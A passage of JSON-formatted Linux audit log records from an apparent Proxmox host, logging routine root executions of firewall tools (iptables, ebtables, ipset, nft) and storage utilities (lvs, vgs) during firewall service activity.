{"@timestamp":1781965653828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965653.828:66516): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325950,"@rawstring":"node=pve type=PATH msg=audit(1781966325.950:69311): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.921:63364): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134a20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60797 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965648817,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965648.817:66515): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325950,"@rawstring":"node=pve type=PATH msg=audit(1781966325.950:69311): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.915:63363): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4800 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60796 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965648817,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965648.817:66514): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325944,"@rawstring":"node=pve type=PATH msg=audit(1781966325.944:69310): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955911,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.911:63362): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8724c30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60795 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965648815,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965648.815:66513): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325944,"@rawstring":"node=pve type=PATH msg=audit(1781966325.944:69310): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.904:63361): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60794 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965648810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965648.810:66512): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325938,"@rawstring":"node=pve type=PATH msg=audit(1781966325.938:69309): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.898:63360): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60793 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965648810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965648.810:66511): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325938,"@rawstring":"node=pve type=PATH msg=audit(1781966325.938:69309): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955895,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.895:63359): arch=c000003e syscall=59 success=yes exit=0 a0=6340c6636e90 a1=6340c6633c10 a2=6340c6615680 a3=5 items=2 ppid=60786 pid=60792 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965648810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965648.810:66510): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966325932,"@rawstring":"node=pve type=PATH msg=audit(1781966325.932:69308): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.892:63358): arch=c000003e syscall=59 success=yes exit=0 a0=63408f436ac8 a1=7ffc7d6ced00 a2=6340c6615680 a3=63408f41a24e items=2 ppid=60786 pid=60788 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.170:66508): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966325932,"@rawstring":"node=pve type=PATH msg=audit(1781966325.932:69308): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955891,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.891:63357): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc7d6cecc0 a1=6340c661c310 a2=6340c6615680 a3=5 items=2 ppid=60786 pid=60787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646166,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.166:66507): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966325926,"@rawstring":"node=pve type=PATH msg=audit(1781966325.926:69307): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.887:63355): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60786 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.165:66506): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966325926,"@rawstring":"node=pve type=PATH msg=audit(1781966325.926:69307): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955881,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.881:63354): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60785 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.165:66505): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966325921,"@rawstring":"node=pve type=PATH msg=audit(1781966325.921:69306): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955875,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.875:63353): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60784 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646159,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.159:66504): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966325921,"@rawstring":"node=pve type=PATH msg=audit(1781966325.921:69306): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955870,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.870:63352): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb6917670 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.151:66503): proctitle=\"ip6tables-save\""} {"@timestamp":1781966325914,"@rawstring":"node=pve type=PATH msg=audit(1781966325.914:69305): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.864:63351): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146ba0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60782 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.141:66502): proctitle=\"iptables-save\""} {"@timestamp":1781966325914,"@rawstring":"node=pve type=PATH msg=audit(1781966325.914:69305): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.858:63350): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc137830 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60781 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646134,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.134:66501): proctitle=\"ip6tables-save\""} {"@timestamp":1781966325907,"@rawstring":"node=pve type=PATH msg=audit(1781966325.907:69304): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954637,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964954.637:63349): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb5e0 a1=64f8d7416e60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60780 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.125:66500): proctitle=\"iptables-save\""} {"@timestamp":1781966325907,"@rawstring":"node=pve type=PATH msg=audit(1781966325.907:69304): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954604,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964954.604:63348): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d132fdc0 a1=64f8d72e0500 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60779 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646121,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.121:66499): proctitle=\"ebtables-restore\""} {"@timestamp":1781966324735,"@rawstring":"node=pve type=PATH msg=audit(1781966324.735:69303): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964954.141:63347): arch=c000003e syscall=59 success=yes exit=0 a0=64a77610c050 a1=64a776106bf0 a2=64a77612dc30 a3=0 items=2 ppid=60443 pid=60776 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646117,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.117:66498): proctitle=\"ebtables-restore\""} {"@timestamp":1781966324735,"@rawstring":"node=pve type=PATH msg=audit(1781966324.735:69303): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964951.244:63346): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646109,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.109:66497): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966324694,"@rawstring":"node=pve type=PATH msg=audit(1781966324.694:69302): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964951.237:63343): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60774 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646101,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.101:66496): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966324694,"@rawstring":"node=pve type=PATH msg=audit(1781966324.694:69302): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964946.227:63340): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.092:66495): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966321324,"@rawstring":"node=pve type=PATH msg=audit(1781966321.324:69301): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946218,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964946.218:63337): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646084,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.084:66494): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966321324,"@rawstring":"node=pve type=PATH msg=audit(1781966321.324:69301): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.846:63334): arch=c000003e syscall=59 success=yes exit=0 a0=61e41542fb20 a1=61e41543bed0 a2=61e415409680 a3=5 items=2 ppid=60765 pid=60771 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646076,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.076:66493): proctitle=697073657400726573746F7265"} {"@timestamp":1781966321324,"@rawstring":"node=pve type=PATH msg=audit(1781966321.324:69300): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.842:63333): arch=c000003e syscall=59 success=yes exit=0 a0=61e3f7d2eac8 a1=7ffe53d7ccc0 a2=61e415409680 a3=61e3f7d1224e items=2 ppid=60765 pid=60767 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646068,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.068:66492): proctitle=\"ip6tables-save\""} {"@timestamp":1781966321324,"@rawstring":"node=pve type=PATH msg=audit(1781966321.324:69300): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945840,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.840:63332): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe53d7cc80 a1=61e41542b1c0 a2=61e415409680 a3=5 items=2 ppid=60765 pid=60766 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.054:66491): proctitle=\"iptables-save\""} {"@timestamp":1781966321322,"@rawstring":"node=pve type=PATH msg=audit(1781966321.322:69299): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945835,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.835:63330): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60765 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646049,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.049:66490): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966321322,"@rawstring":"node=pve type=PATH msg=audit(1781966321.322:69299): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.829:63329): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.045:66489): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966321187,"@rawstring":"node=pve type=PATH msg=audit(1781966321.187:69298): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945821,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.821:63328): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60763 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.043:66488): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966321187,"@rawstring":"node=pve type=PATH msg=audit(1781966321.187:69298): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.814:63327): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60762 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646042,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.042:66487): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966321187,"@rawstring":"node=pve type=PATH msg=audit(1781966321.187:69297): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945804,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.804:63326): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60761 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646037,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.037:66486): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966321187,"@rawstring":"node=pve type=PATH msg=audit(1781966321.187:69296): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945801,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.801:63325): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=559d1be4d740 items=0 ppid=1156 pid=60760 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965646029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.029:66485): proctitle=\"ip6tables-save\""} {"@timestamp":1781966321178,"@rawstring":"node=pve type=PATH msg=audit(1781966321.178:69295): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 